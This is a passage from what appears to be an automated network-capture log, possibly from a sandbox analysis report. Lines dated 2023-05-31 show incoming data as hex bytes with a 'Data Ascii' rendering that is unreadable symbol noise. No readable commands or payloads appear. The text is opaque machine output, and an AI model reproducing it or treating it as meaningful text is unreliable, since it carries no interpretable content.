7b f6 1a dc 83 96 Data Ascii: ?g}O4![8@=~Dzts(8n"VcUG.35P{sbo=\h{"EFW~Um8"H?CsH)_>\|P.=?ThT<87_1\g3C9Ca\|"c[SHRZb%RUQzs["uX;d{
2023-05-31 10:22:22 UTC	3955	IN	Data Raw: b1 a2 f0 7c df b1 f4 6c 0b 56 3b 83 94 59 3b bb cc d5 cc 20 e5 7f 8f 1f f3 99 35 8b e7 96 b0 b6 d0 3c 58 4b 55 4c e3 58 ee fe ac 98 b7 1f ce 53 c7 2b 31 11 2c 7a 87 31 04 82 0a 82 da c7 4f 1d f9 db 34 a6 45 2c 06 e9 fb 96 8d d5 b0 ff a8 b1 80 de b0 42 43 e6 f8 51 16 7d 03 13 be 3b 7f a5 73 3b 2b fe 46 a5 ae 5d 95 e5 fe c6 2a 43 91 15 09 a7 3b 1e 4a 61 cd a2 58 fd 09 e2 0b 39 ce 3a ce b0 ad ff cd bf e8 c7 77 94 69 a8 df df 70 09 29 0d 0f c1 93 e2 0c 59 38 af 64 8c b7 67 63 13 4a 23 cb bf 28 cf 73 3e eb f9 ff f4 9f b0 67 d5 c1 59 c6 cc 97 a9 00 6b 83 68 a6 c6 5a 86 e9 4a 30 ed cd 1c df 92 f9 48 c7 bf b7 66 39 f1 08 b0 7c 12 fc fe 8c 6b 4b d6 ac d5 47 ca da 09 3f f6 97 64 c7 25 63 fb fd e1 f1 2a 32 cc 89 25 42 c6 5f dd 3e 34 cc 22 97 6d e3 4e ee ac ed c1 15 Data Ascii: \|lV;Y; 5<XKULXS+1,z1O4E,BCQ};s;+F]C;JaX9:wip)Y8dgcJ#(s>gYkhZJ0Hf9\|kKG?d%c2%B_>4"mN
2023-05-31 10:22:22 UTC	3971	IN	Data Raw: 97 9b 03 bb d2 57 42 42 e4 49 c4 a4 c5 38 53 5e 88 7e b4 36 84 ad e7 6b e9 6c 99 22 dc ca c3 01 0e 0a 85 f8 e3 b0 0d a8 6b 2d 00 97 67 02 44 a9 d7 19 62 48 3d 5e 4d ca 82 11 01 5f a2 b9 c0 13 b5 eb 47 71 a3 ea 33 58 b2 c3 1b 5b 8d f3 f0 8c 8f 17 99 36 35 13 95 56 30 fd 1d 39 17 52 86 79 a9 74 d8 2c e8 d6 7d 88 c7 ec 57 c0 cf 9c 87 64 db c0 4d cc 51 f9 8d 11 a6 cf f0 3e ff 3c 8c f8 78 00 ce 7e 39 0e 51 85 97 b1 b2 e4 3c 11 7c 52 03 f7 a5 b6 21 4a 3f 01 b7 2f 37 48 e1 17 2b 5c cb 99 81 2f d7 6c 41 d5 3b 31 10 3e dd 03 97 f7 a7 51 11 dd 33 30 2f 34 8b fe 29 e5 c0 c2 63 81 44 31 b9 19 af 1c c8 84 e8 d1 5b a0 16 28 06 d1 97 f4 21 f2 cd 21 7a 21 8e 03 7f 9e fb 00 a7 2e 05 a1 79 cc 1b ca a5 7b 0b c6 ae 25 61 b7 e1 52 14 5f b5 0c e5 1a ac e0 c7 53 3e fc 50 5c 0e Data Ascii: WBBI8S^~6kl"k-gDbH=^M_Gq3X[65V09Ryt,}WdMQ><x~9Q<\|R!J?/7H+\/lA;1>Q30/4)cD1[(!!z!.y{%aR_S>P\
2023-05-31 10:22:22 UTC	3974	IN	Data Raw: a8 21 72 0f bf 1f c9 02 91 af 52 f4 95 60 0a 34 d1 33 24 70 de 41 b8 b8 e9 03 96 ff fc 06 cb 2a fd 68 b7 fa 49 b8 9b 67 89 c3 82 bf 51 3c 5a 0b 27 47 4f 06 a3 90 47 78 bc af 08 a6 d7 55 81 96 a7 34 86 b3 1d c6 96 39 a6 68 a2 f4 89 34 6a 09 41 75 8d 27 63 ef 32 f3 e1 81 1d f5 b5 0c c6 23 5a 32 f8 c8 5d 0a 8f 8f ad 85 fa 21 59 28 36 df 4f bc 19 9b b0 ab 89 8b d8 a9 e4 a3 e6 f2 43 b0 db e9 27 d4 17 5b 91 f5 99 04 b6 c7 ce 05 c3 9a 24 e4 7f 35 8c 3c 2d 7f f0 7d e0 00 4c 1f e3 42 b3 f7 33 48 00 9b 23 c8 c6 49 41 eb ce 1f f8 e2 6e 31 c6 70 35 30 7a 9e 0a e4 de 8c c0 36 e1 27 78 f0 ac 1a ee 17 9c 41 fe 14 26 c1 ab 9a 49 a8 96 1d 8e 1e 97 af d3 6d a7 97 a2 e1 f1 95 c8 bf 5c 01 24 14 3c 71 db ed 01 a8 4e 5a 0b 95 77 38 b1 ae 22 8f ea 5b 26 e2 9b 39 fb 51 91 91 a1 Data Ascii: !rR`43$pA*hIgQ<Z'GOGxU49h4jAu'c2#Z2]!Y(6OC'[$5<-}LB3H#IAn1p50z6'xA&Im\$<qNZw8"[&9Q
2023-05-31 10:22:22 UTC	3990	IN	Data Raw: bf ea 95 5f fd 35 af fa da af fb fa 6f f8 c6 6f 7a f5 37 7f cb b7 7e db b7 7f c7 6b be f3 bb be fb 7b be f7 fb 5e fb fd 3f f0 83 3f f4 c3 3f f2 ba 1f fd b1 1f ff 89 9f fc a9 d7 ff f4 cf fc ec cf fd fc 2f fc e2 2f fd f2 af fc ea af fd fa 6f fc e6 6f fd f6 ef fc ee ef fd fe 1f fc e1 1f fd f1 9f bc e1 4f df f8 a6 3f fb f3 37 ff c5 5b fe f2 af fe fa 6f fe f6 ef fe fe ad ff f0 8f ff f4 cf ff f2 af ff f6 b6 7f ff 8f ff fc af ff 7e fb dd ff 75 ff 59 c3 d8 1f d8 8f 1d 0c 47 63 c7 7d dc f3 83 c9 e1 d1 f1 c9 1d ee ff e2 f4 ff 17 fd 3f eb 5b c4 53 de 76 53 53 9e f9 6c 4d 79 23 fc bd 7b 93 ff 6e 02 73 93 ae 54 c4 99 e3 9f 46 a1 62 c8 68 49 d7 34 d9 a2 c3 85 8d 5f 64 40 d8 1e 0f e3 85 32 cb 99 24 80 5c 0e da 85 61 0f 0f 26 1e 8a 37 68 3f 97 07 ca 30 76 9b b8 2e c8 2b Data Ascii: _5ooz7~k{^???//ooO?7[o~uYGc}?[SvSSlMy#{nsTFbhI4_d@2$\a&7h?0v.+
2023-05-31 10:22:22 UTC	3993	IN	Data Raw: 94 32 06 c7 55 26 c0 7e 2e 06 df f5 2d d3 23 d5 e5 38 d9 07 50 5b 27 e8 de 76 95 79 f0 99 36 0b 38 07 71 18 c0 6f 15 31 0d 88 b3 89 77 3f f6 2e 4a 08 bf 63 39 43 18 dd 10 13 fb 96 83 89 b1 81 dd 38 1c e6 4b a8 47 c4 61 38 9b e7 e4 6f 54 1f ed ce e0 19 de e8 70 3a 3f 36 3e 9a 7a cc a4 a3 6f 7f ea 3b ec 52 0c 16 75 2b 82 71 b7 66 a7 34 77 2b 06 0f bb 35 05 a3 6e cd e6 a7 6e cd c3 a5 ae 4d c1 a9 33 89 a5 22 f6 a0 04 cc 9f 03 13 dd 4c c0 62 a3 97 80 8b 11 9c bb 24 c5 28 26 d3 a2 91 9c 85 f3 68 ce 2d 8b bb be 20 0f 8f ec 6c 1a 77 78 0f 34 61 03 56 3f 6e cb 4a fc 9b dd 2e d1 b7 38 4e 10 7e f3 11 92 44 7e 0c 62 09 bf f9 78 82 92 a7 df 9b ae 50 74 dd 05 72 d5 68 44 2d be 1c 52 78 73 2e b2 e1 55 f8 31 e7 20 f0 6d 84 e8 33 e5 30 3d 45 4d d5 26 01 ba a0 80 0d 04 e6 Data Ascii: 2U&~.-#8P['vy68qo1w?.Jc9C8KGa8oTp:?6>zo;Ru+qf4w+5nnM3"Lb$(&h- lwx4aV?nJ.8N~D~bxPtrhD-Rxs.U1 m30=EM&
2023-05-31 10:22:22 UTC	4009	IN	Data Raw: 56 84 2a cf fc e5 e9 8c 0f 51 76 08 c9 03 cf bd 1a 98 44 bd 32 bf af f6 80 e3 90 fa 90 aa e6 1d 46 86 25 e3 21 ea e2 dc 98 83 e4 1b 1e 6b 4c df c4 d7 28 a6 d1 c8 c7 3e 81 14 2f 09 e7 4e 3c 5d 31 72 5e b9 58 2c f1 90 d0 6f bc 49 70 bf b1 f2 54 d3 71 2f 4b 7a 5d f9 9a 99 91 c5 ea 90 2c 8f 4c 79 96 bc bf 5b 88 2c 3a ef 52 8b f3 b2 71 54 10 f9 1d 33 5a 9f 4a b5 a9 c5 ec 4c 4c af 5c e1 a1 c6 59 81 ca 9a 13 eb 8a 11 e5 65 7a b8 56 da 55 e1 1e cb e0 9d 1a 85 fb 76 c6 8a fe ba 7a 16 2c e5 d8 06 87 7e ad fd 8b d9 49 cc 7c 18 26 ab 9b 49 59 8f cb 24 4f 6c 12 85 98 a6 56 19 5f 31 ba cc 4f ef 3e 45 96 94 42 a5 47 7e c0 ec 73 2c e9 eb 14 a3 c1 74 48 18 67 a4 a4 4c 14 9d 2f 62 e3 79 34 d6 ed 45 3d f6 55 c1 fe 15 a3 8c 9e 56 27 7f 6e e3 f1 97 9b 1a 96 4e a4 83 af 4b 57 Data Ascii: V*QvD2F%!kL(>/N<]1r^X,oIpTq/Kz],Ly[,:RqT3ZJLL\YezVUvz,~I\|&IY$OlV_1O>EBG~s,tHgL/by4E=UV'nNKW
2023-05-31 10:22:22 UTC	4025	IN	Data Raw: ef c0 91 aa 1d b8 b5 11 0f c0 e2 75 13 a4 72 cf 40 d4 df 4c 41 42 dc 5e 80 0b a3 16 1c 8e 9c 00 ef 76 57 81 46 ca e9 e0 19 dc 12 5e d2 a3 00 94 96 d0 00 a5 18 19 00 ae 14 2f 7c 7e 2b 08 58 61 f5 82 0d 21 fb 81 8f 0d 52 e0 df be cb 82 f5 c5 a9 b0 6f 03 6b 40 cd a6 11 cc 85 8a 17 74 e5 53 07 14 bb 79 40 f1 ed 01 b0 9a e1 15 18 97 64 0d ef 48 20 04 02 11 79 d8 e4 f4 31 48 30 12 03 2b 5a 0d 07 f8 35 9f 80 e0 a2 17 68 00 93 00 9c a2 44 81 61 4a 24 80 92 fd 10 a8 18 91 03 5b 2b 64 81 c4 f7 38 c0 ba b8 17 b8 b2 ea 09 aa f4 06 82 01 04 2f e1 8f 86 90 c0 18 da 63 20 28 ce 04 fc 0e 5b 04 96 a6 0d c1 86 27 0e a0 cf 6e 35 10 20 10 0b ee fd 52 03 97 8b 08 61 0f 89 42 c1 d5 00 67 c0 bd fb 21 e8 bc 94 04 ef 29 b6 04 ca 64 a5 80 bb 15 58 60 7a b8 26 8c 8d 5d 0f d4 7b 45 Data Ascii: ur@LAB^vWF^/\|~+Xa!Rok@tSy@dH y1H0+Z5hDaJ$[+d8/c (['n5 RaBg!)dX`z&]{E
2023-05-31 10:22:22 UTC	4041	IN	Data Raw: 4a 1b 20 67 3a d2 d1 c8 f5 db b4 0c 38 cc 61 cd 58 26 7b 8b 8d 66 8b d9 29 ac c6 eb 72 1f 79 9b fc 58 7e 55 e1 ca 60 65 93 f2 27 f0 a2 2c ea 2f 5e 9d a5 de 81 d7 b4 b5 41 f0 37 9b 91 09 b7 c0 da 85 78 45 5e 87 37 e1 d1 40 8e a1 7c 3c 9f e5 9f a1 3a cb af f0 bc 50 56 0d 74 07 dc 14 a7 f7 d1 fb e9 13 80 20 8f f5 4a 46 17 23 cb 18 65 4c 83 d2 da 6d fc 60 54 36 a9 19 61 76 05 cb 4f 35 37 82 9d ce c0 93 56 86 2b ed 6a 65 5b a3 ac d9 d6 5e eb 88 55 06 5e af 2e dc 76 2a b0 72 96 d8 26 76 a1 6e ca d9 55 a0 df 93 ec 53 76 1e a7 24 78 5f 73 5a 3b a7 9c 06 50 b8 dd dc 34 60 fd 6c f7 33 64 c5 e9 80 1e 24 c1 52 48 90 a7 6f 1b 90 2e 50 83 6b 80 2f 0f e0 4a 4a d2 6e d0 b5 eb 50 f3 df 43 cd ff 4e f3 b1 b2 ac 31 74 d7 02 54 fe 3d 56 5f 6e 2e 27 c8 f3 e5 2d 72 05 c5 54 96 Data Ascii: J g:8aX&{f)ryX~U`e',/^A7xE^7@\|<:PVt JF#eLm`T6avO57V+je[^U^.v*r&vnUSv$x_sZ;P4`l3d$RHo.Pk/JJnPCN1tT=V_n.'-rT
2023-05-31 10:22:22 UTC	4055	IN	Data Raw: 4c 12 60 b0 00 ca 30 24 82 50 3a 5f 68 d4 0a 72 b3 dd 24 33 98 a9 94 b9 95 01 76 f6 0b da 01 2f 9a b0 58 23 17 cd 58 ac 95 8b 41 58 ac 93 8b 91 58 a4 72 31 01 8b f5 72 31 95 5b 04 75 f9 2f e1 ad 75 1e 5a 1b b6 63 90 9a 08 03 bd 35 27 51 0d 03 a5 07 9e 69 8b 6f bf 34 19 e2 a5 26 84 fb f3 48 38 0b b9 86 e7 e3 70 79 24 9e cf 6b 8d 98 d7 44 31 af c1 6d 45 fc ff 04 88 ff 5f 0c f9 9d 85 b2 31 58 f8 32 18 cb 53 2d cb f7 a7 61 b2 97 42 cf f2 ac af 09 c7 58 5f ed d8 ae b4 65 0d 5f f0 69 ac 3f da 06 5e ac e3 2f 0e b0 65 4c 6f fc c6 5e 6c e0 2f 2e c0 8b af e0 c5 26 fe 62 2e 34 71 c1 8b 22 fe 22 0e 80 7e 0e 2f b6 72 57 28 c7 8e bb 42 1f fe b3 de 15 ba 60 ac 7f 57 e8 17 01 3d c8 16 20 b4 73 bb de 15 7a 3c c0 e0 65 ba 15 fa 47 36 80 58 4f 33 1b 00 27 24 fc d3 41 5f 1b Data Ascii: L`0$P:_hr$3v/X#XAXXr1r1[u/uZc5'Qio4&H8py$kD1mE_1X2S-aBX_e_i?^/eLo^l/.&b.4q""~/rW(B`W= sz<eG6XO3'$A_
2023-05-31 10:22:22 UTC	4071	IN	Data Raw: b8 9f 6c 05 f7 cf ac 3b 03 4b 5d 6e 31 a6 e5 96 d0 25 af 83 57 8a 98 fb 90 5e 29 82 e3 7d 61 1a 08 e2 04 cc 29 64 5a 8a 87 44 c2 0c 66 23 07 d4 22 34 71 f4 d3 47 a9 38 ba 86 0d 45 03 1b 0a 1f 13 47 fd 6d 44 1c 2d 3f 6e 17 90 07 e9 aa 4c 8a 52 e5 6e 56 65 85 a1 ca 11 56 e5 93 50 e5 ec e3 76 3c 68 41 76 2d 21 bb 96 90 5d 4b 1a bb a6 ce a5 38 af 9f 0f 7d 85 47 df f1 cc 8b 33 96 2f c4 f2 78 08 86 2c 5b d2 58 76 58 f9 b9 e1 e5 15 b6 2d 29 6c 5b 52 d8 b6 a4 63 db 61 75 fd e5 cb 70 58 f0 c8 15 59 b7 84 ac 5b d2 58 77 58 f9 67 f4 e5 51 e1 f4 06 82 c2 96 f3 a0 50 93 4f df f2 04 88 e0 b2 f6 63 f6 ae 56 79 61 c1 89 b2 f1 3f e2 d9 b6 aa dd c1 9d 1e a4 92 e6 41 91 63 36 01 a7 1d 3e 14 0f d8 56 4c 22 d3 82 e9 23 b7 a5 90 cf 25 e2 84 a2 d6 91 80 11 f3 f5 2a d0 cf 3e c8 Data Ascii: l;K]n1%W^)}a)dZDf#"4qG8EGmD-?nLRnVeVPv<hAv-!]K8}G3/x,[XvX-)l[RcaupXY[XwXgQPOcVya?Ac6>VL"#%*>
2023-05-31 10:22:22 UTC	4087	IN	Data Raw: be 8c a5 1b 48 82 77 1f ce 9e 93 54 ad 8f 83 df 4c a9 c2 19 3a 6c c3 db 73 84 32 d3 80 5f 73 c5 96 4b 7c a4 92 c4 06 29 ee eb bf 49 31 4c 9a 45 d2 f5 c1 ee 1a 86 47 71 1a 79 ee 6f 61 b2 e7 59 46 1c d5 73 2c 4a 28 04 fd 45 3d 9f 15 71 79 23 93 40 c9 ae 9f d1 2b 22 24 eb c4 de 46 11 e1 1f 7a 9a 89 11 7d 97 4f 56 86 69 e3 b9 90 fe cb a2 55 36 88 8f da 68 9b 90 4d ee 25 a2 9e 56 96 11 4e ae 24 97 a8 09 9b 64 a1 ff 2e b7 47 7a 84 3f b3 df e0 11 fe c0 82 b3 af f0 3c 91 35 57 59 ba a6 0d f8 c3 56 e9 59 c7 7d 1f 57 87 f9 35 ae 46 cf b7 84 dd 40 4f e8 56 40 e0 45 07 c9 06 74 9e 43 8d 66 6f 8d b9 0b 61 c6 11 a3 4d 6f 03 03 7b 1d 43 73 82 46 d6 e0 32 b8 69 6d ef 06 f3 16 3e fd d8 e8 3e c9 5b 58 cf 5a f8 a8 dd ae 05 27 dc 02 ae 46 35 cc 67 0f 5d 7d b8 03 60 f7 26 32 Data Ascii: HwTL:ls2_sK\|)I1LEGqyoaYFs,J(E=qy#@+"$Fz}OViU6hM%VN$d.Gz?<5WYVY}W5F@OV@EtCfoaMo{CsF2im>>[XZ'F5g]}`&2
2023-05-31 10:22:22 UTC	4103	IN	Data Raw: 3d 1e cf b6 8e 8d 51 fb 6a 13 99 af e6 18 4d dc da e3 39 a2 5b eb 73 36 d0 3a d4 d8 28 c4 7a 33 ca 05 e2 f4 64 54 0a ce 68 6f c6 66 c1 69 f1 66 54 09 4e 12 5e 2d 38 e3 bc 19 3b 04 a7 0d ae 84 77 f6 f6 66 d4 0a ce 04 6f c6 6e c1 99 e8 cd d8 27 38 93 e0 56 6c 67 32 dc 90 ed 1c 00 b7 65 3b ef f7 66 7c 22 38 07 79 33 8e 0b f6 14 b8 d5 52 72 a3 0f 0b 48 01 2e ed 80 c5 07 ca d6 a0 1c db 9e 67 7a e1 98 fd 2e dd f6 32 3e 47 d7 bf 64 b3 31 d9 b1 fa ec 75 e5 1b be bd c6 2c 93 ed 45 17 91 a6 48 f6 ea 30 16 ec 95 a2 28 71 85 9a 85 88 4e 89 c4 e2 82 0f ed 67 09 ed 3c b3 f3 9e 59 dc 17 fe 2c 76 5a 78 c3 47 5e ba b8 04 ff 03 da 7b 8b 7a 4a 4d a7 18 b6 ad 00 c2 60 b5 91 df f3 db 0d 71 8c 1f 9d c4 9c 6c 1e a0 7c 4d 40 b4 a6 70 37 24 78 51 52 e8 0b 3e a7 b4 a8 45 c0 57 44 Data Ascii: =QjM9[s6:(z3dThofifTN^-8;wfon'8Vlg2e;f\|"8y3RrH.gz.2>Gd1u,EH0(qNg<Y,vZxG^{zJM`ql\|M@p7$xQR>EWD
2023-05-31 10:22:22 UTC	4119	IN	Data Raw: 26 67 2c f0 a2 6f e8 6a 6f bc 1b c7 69 2a fc 14 55 87 e2 ab 85 17 a2 e8 87 8e 8b 12 1c 98 39 6e 3e 30 ab c3 0c cc 57 32 ac b2 0a b1 fa 32 df 28 e7 35 71 9c 3a 79 4d f3 1c 3e 4e 53 5b d8 38 cd 79 82 8d 53 08 89 e3 f4 f1 79 aa aa 9d 11 e6 2d 2a dc 3c 09 76 4c b6 a1 69 da d9 1d f2 c1 7e 77 53 ba c4 5f a3 12 c2 be 5c bd 46 d5 f2 51 33 6e 9d 88 ab 9d e8 79 a0 55 67 cc 0c 77 5d 49 83 0f 34 cb 60 19 e2 6b 97 91 fd 57 13 6d 9e 05 cc ca 57 02 7c 4a 25 6a be 19 b3 2a c0 f0 c1 12 fe cd 28 a8 e0 9c 7b 95 38 77 9b 89 7f 33 de 7c 99 7d 33 ee 6a c2 55 38 bf da 94 00 56 21 14 1b d3 b8 2f b4 3d 5a d8 7b e7 7b 3f 37 ef 8d 82 6d 94 c4 c2 2b 28 c1 fa f7 28 84 21 d0 38 ec 51 03 2b 23 11 f8 df f7 db 88 a2 58 23 0d 26 a2 61 1b d1 50 4f 34 4c 24 1a be dd ce 68 28 3a 01 0e 87 94 Data Ascii: &g,ojoiU9n>0W22(5q:yM>NS[8ySy-<vLi~wS_\FQ3nyUgw]I4`kWmW\|J%j*({8w3\|}3jU8V!/=Z{{?7m+((!8Q+#X#&aPO4L$h(:
2023-05-31 10:22:22 UTC	4135	IN	Data Raw: 3e 5f 84 a5 ca b8 83 24 ab 9c 6c 8b 89 32 c7 75 ec ab 88 5c 70 11 88 31 59 92 a5 56 ff 16 ec bb 23 83 42 21 8e b1 46 eb 80 2f 1e b4 40 b5 79 0b 60 b0 8b e2 90 83 93 ab 50 56 c0 ff 78 60 90 4a 04 4d 2d ae 5a 14 41 a6 2c 82 5a 59 04 55 28 c6 66 88 ac ca 9d 89 2f 06 31 36 73 31 8a 30 49 ae 5a 56 f9 da 4c 57 53 61 23 67 d2 c6 3d 74 74 d5 e8 5a 63 a8 c6 a5 e0 50 95 36 3d 06 d8 85 d1 23 b2 76 db c9 6e 55 de 0e 65 35 be f9 1d f3 8d 28 45 a3 21 85 08 eb 4a ae 08 99 26 f3 ce 94 c8 6d 4b 7a 3f d5 67 7a 2e fc d4 47 82 b1 b0 dc 45 ab e0 ea 3d f8 b4 ab 02 52 ed 26 71 37 98 28 bc fd 59 87 39 6d eb 19 d0 ae 3e 4e 0e 43 38 c9 4c 33 a3 3d 68 45 cf b4 ff be c8 a1 75 34 a8 68 d4 7f b2 cf 6c f7 a6 a4 55 3b fc b6 11 b1 55 34 fc 3e 72 ca 21 45 0e 8f 56 7b 5f a9 72 f9 e1 72 db Data Ascii: >_$l2u\p1YV#B!F/@y`PVx`JM-ZA,ZYU(f/16s10IZVLWSa#g=ttZcP6=#vnUe5(E!J&mKz?gz.GE=R&q7(Y9m>NC8L3=hEu4hlU;U4>r!EV{_rr
2023-05-31 10:22:22 UTC	4151	IN	Data Raw: 38 0d fd 4e 12 4e 03 e2 d4 a4 36 de 70 12 f4 66 d5 9e d9 11 44 a0 9b e3 cd 5a fa 15 e6 78 d3 4b bf ec b0 d9 98 3b 38 5e 2c 94 83 3d 33 1a c5 bf 01 9e 19 0d e2 5f 3f 88 f8 9c 36 b8 37 c4 75 4e 1b 1c 2d 5f 4c 2a 54 8e 75 19 27 21 e8 02 9a 2e 76 c7 c7 90 b9 42 f9 85 d5 f6 87 a8 51 ce 3b 83 85 b9 09 e6 e9 08 73 1f f7 95 f9 1e cb b8 87 7b 80 41 51 11 1c 24 31 12 5d 7f 00 fc c7 93 16 f8 75 01 e0 f3 35 f0 0a 06 0f ff c0 02 ef 14 00 fe a8 06 5e c8 e0 97 2b f0 fa f5 08 de 4b ba 1b 94 44 5a e0 2d f3 01 b6 bf 82 dd 15 00 fb 91 06 3b 1a 60 47 2a d8 ec 00 d8 f3 1a 6c 57 74 7d 99 f2 c1 12 33 ba 5b 66 bf 4b 59 f4 82 79 75 cc c4 f2 b0 0f 47 ac 67 13 e8 7d c7 c2 0c 7b 22 4c 64 35 d8 d7 0f d4 d8 66 0b 84 e6 b7 78 7e 2e 54 d8 75 7d 69 c6 2b 41 e3 5d 75 27 c8 1e 61 b3 06 c8 Data Ascii: 8NN6pfDZxK;8^,=3_?67uN-_LTu'!.vBQ;s{AQ$1]u5^+KDZ-;`GlWt}3[fKYyuGg}{"Ld5fx~.Tu}i+A]u'a
2023-05-31 10:22:22 UTC	4167	IN	Data Raw: 38 e1 c7 b1 10 8a 14 e0 bd 87 e5 1a 78 c5 0a cb a7 ba 01 c1 50 a8 82 52 aa c9 5d ba 4d 3b 7f 48 04 ab 6a 15 a8 bc 2f 33 60 a6 e0 a2 70 b2 83 70 52 ae ce df a1 3a cb 05 4e 00 df 81 5b 26 75 89 d8 b9 a0 41 5a 4d 86 7c 27 bf 46 98 aa 40 7d b4 52 53 1f 05 f5 78 b1 fb f4 e1 36 5e e4 cc f1 1d c6 86 93 eb 2a 81 e2 44 7c e0 28 b6 14 6f d2 91 fb c6 d2 50 e4 6e db 81 2a dc 02 b9 35 02 b9 35 17 85 dc db 06 00 72 6b 64 e4 d6 08 e4 d6 70 e4 0a c7 f9 68 45 eb b2 57 9a 54 7b e5 78 7b b5 e5 a9 c4 60 84 69 39 66 25 60 be c0 20 80 01 a1 66 0f c8 57 d2 2e 08 f9 62 ca e5 c3 10 54 33 72 20 90 8f 06 49 e8 09 2f b0 1d b2 c1 5e 2f 14 fd 6c 97 b5 ac cf 30 69 b8 ef ff a3 86 7b b4 9d e7 88 2f 22 c4 07 75 c4 8f 59 12 8a f8 11 2f 72 c4 17 81 e5 24 3a 88 64 83 80 7a 26 f3 b7 41 7a f7 Data Ascii: 8xPR]M;Hj/3`ppR:N[&uAZM\|'F@}RSx6^D\|(oPn55rkdphEWT{x{`i9f%` fW.bT3r I/^/l0i{/"uY/r$:dz&Az
2023-05-31 10:22:22 UTC	4180	IN	Data Raw: 69 85 70 b3 14 73 c2 5d a1 4e 4f 19 c4 3a 7d 72 76 82 a2 de 2e 62 1f fe e1 55 c7 f1 b9 75 90 45 31 94 6d 35 83 e3 39 b3 25 83 63 43 4e ea 09 b3 75 06 29 d5 da 66 f8 7e 8b e1 58 f9 7a 93 53 f1 54 a7 ce 7c b2 15 c7 22 da 64 b4 d8 1f b8 ea ee aa 46 37 58 d6 4e 92 cb 07 96 41 01 b4 0c 0a 48 5b 66 9a 0f f6 cb b4 80 ba 59 22 04 75 a7 54 86 71 f2 58 c7 85 ee 94 be 2a b0 0c 42 b2 54 77 e7 76 79 dc 60 0e 5f 1d fc d6 81 21 f7 5c fe 20 3f 47 d7 e0 1d 04 ef ae 4f a7 0d ec 86 86 9d 42 1b 78 e5 bc 83 42 73 92 81 70 13 ef 5c 04 f9 06 cd e8 8e 2f e5 7e 3a 80 f1 74 76 a9 11 ee f6 fa 17 91 99 5d b1 15 50 1c 25 b9 fc 2f c4 a9 4f dc 40 52 56 1f e9 eb c6 8d 8c a3 ba 03 75 75 07 86 d6 65 9d d1 d7 1d 38 72 20 d5 bd 5f 57 f7 7e 5e 57 ac 92 cf cf 4a 40 d3 41 74 72 f9 bc 36 18 b4 Data Ascii: ips]NO:}rv.bUuE1m59%cCNu)f~XzST\|"dF7XNAH[fY"uTqX*BTwvy`_!\ ?GOBxBsp\/~:tv]P%/O@RVuue8r _W~^WJ@Atr6
2023-05-31 10:22:22 UTC	4196	IN	Data Raw: 20 4d 64 9a 27 ff 55 e4 41 5f 3b 2f de d7 69 05 32 00 f7 26 26 ac c7 52 07 68 cd 77 43 09 ae 74 72 7d e1 c9 41 e5 44 0b a3 9f e4 5c 55 09 ae 14 9b 16 69 12 8e 5c 89 39 94 b1 42 3f e8 e0 75 9f ba e3 a5 b6 08 32 86 d3 03 70 6d e3 3d 8d 67 1d fc e6 93 da 4d 73 f7 8b 25 f3 f9 14 53 16 91 2f a9 0b 9b db 5a ac e7 bc cb 93 7e 47 61 1e 93 bf 1c a2 59 30 85 af cc 19 c4 79 28 e9 07 b5 84 ed 51 0f 5b 99 a7 ff ea 22 de 78 29 bb 70 c7 ea 70 9e f3 20 26 8d e7 3c 40 a6 f2 2f 72 fd f1 c3 09 8a 74 d6 b7 29 88 d4 a0 da f5 41 5a 6f 3d 49 4d 97 3e 28 37 7d 4a 6b 3a 5b 6f 7a 3b 35 9d 94 2a 37 1d a3 35 1d 19 a4 cf 74 a3 b0 fd 64 5b 33 84 72 dc 28 78 cd 7a d8 d4 a5 36 aa 2a 5c d8 da 42 41 48 f5 36 01 f6 8c 4d a3 a0 b8 89 36 3b 8f f2 ca 65 07 f4 51 1f c3 c6 11 e2 53 6a b4 1a 93 Data Ascii: Md'UA_;/i2&&RhwCtr}AD\Ui\9B?u2pm=gMs%S/Z~GaY0y(Q["x)pp &<@/rt)AZo=IM>(7}Jk:[oz;575td[3r(xz6\BAH6M6;eQSj
2023-05-31 10:22:22 UTC	4212	IN	Data Raw: b1 44 88 da 27 c5 8f 1a 3d 4c 8a 1f 05 bb 63 4e dc b5 a5 2b 2b 5c 85 0d 85 fc 29 1a e6 d3 06 d9 6c e6 66 45 e0 13 f4 2d a6 b0 e8 58 cf 37 d0 21 1d e3 99 75 cd 86 88 7b 0d ac a9 30 26 30 1a c2 ba a6 e2 b1 92 6f 6e eb ae 6f a3 4c ad d0 ba cd ab 1d cd f2 8c 5d 68 95 66 ec 26 fe 84 a4 78 f6 be b3 f8 1f 18 b5 4a 9f 72 93 47 48 53 97 de d7 ce 71 e8 b5 a3 4f a1 df d2 ba 98 e0 48 e4 59 ea 2d 6b cf 86 5e df 9d f3 b7 70 b3 67 55 3c 8e 62 57 4e e2 5b 16 b7 f3 11 38 aa bb 42 9d c1 bb 15 12 c4 c1 c7 2a 90 5c 73 3a 80 ab 9f d6 d8 94 ae 24 35 9d 37 e1 2c bf 5d d9 0c 19 48 4c 1e a6 5f 55 85 2d d3 4a 65 0e 63 f4 7c 30 d8 e2 81 00 24 62 8e 4c e0 f9 aa 50 ab 57 85 6c 52 01 c7 a2 fd e4 58 54 d2 b8 44 76 18 89 ca b5 2a 9a c3 08 3a 0c 94 47 93 df 91 5b 4e c0 8e ac 6f 72 04 b0 Data Ascii: D'=LcN++\)lfE-X7!u{0&0onoL]hf&xJrGHSqOHY-k^pgU<bWN[8B\s:$57,]HL_U-Jec\|0$bLPWlRXTDv:G[Nor
2023-05-31 10:22:22 UTC	4228	IN	Data Raw: 41 73 05 b7 2d 48 aa 56 32 af d1 bf fc 11 14 6c dc f1 d1 23 b7 24 51 c7 47 dd 4a 41 b2 ad a4 27 aa 20 96 fc 37 16 9a 59 f8 4d 58 6f 3d fe 1b 91 62 10 fb 6a 22 5f d5 bc 86 64 c9 25 fb dc b9 71 3a 3e b2 2a d1 61 14 b6 1c a8 2d 6c 8c f1 19 ee 4c 0a e8 aa 56 9e d3 af 16 41 55 41 75 28 de 86 e3 0f 75 6d cb ea 47 f7 d9 c7 21 7a 3e f4 86 45 0b 87 e4 d2 c2 4a ea 4b a6 12 3d cb 98 20 3b 50 47 87 9e b3 1f bb 0a b9 e2 81 06 29 75 04 0f ae 96 3a 02 d2 aa b0 bd fa 4d b4 b8 2d 9e 20 67 78 33 69 05 8a 21 3f 44 fe 5a 52 77 78 3d 7a 94 d5 a3 d4 c0 7a 84 7e f1 56 fd 2d 91 d5 bc 41 ac 86 7c 38 21 09 12 60 54 98 37 25 08 4b b3 95 f8 b0 74 7c c6 42 f0 4c e5 92 8c 29 62 41 10 dc 44 b0 dd 4d 5d 20 27 94 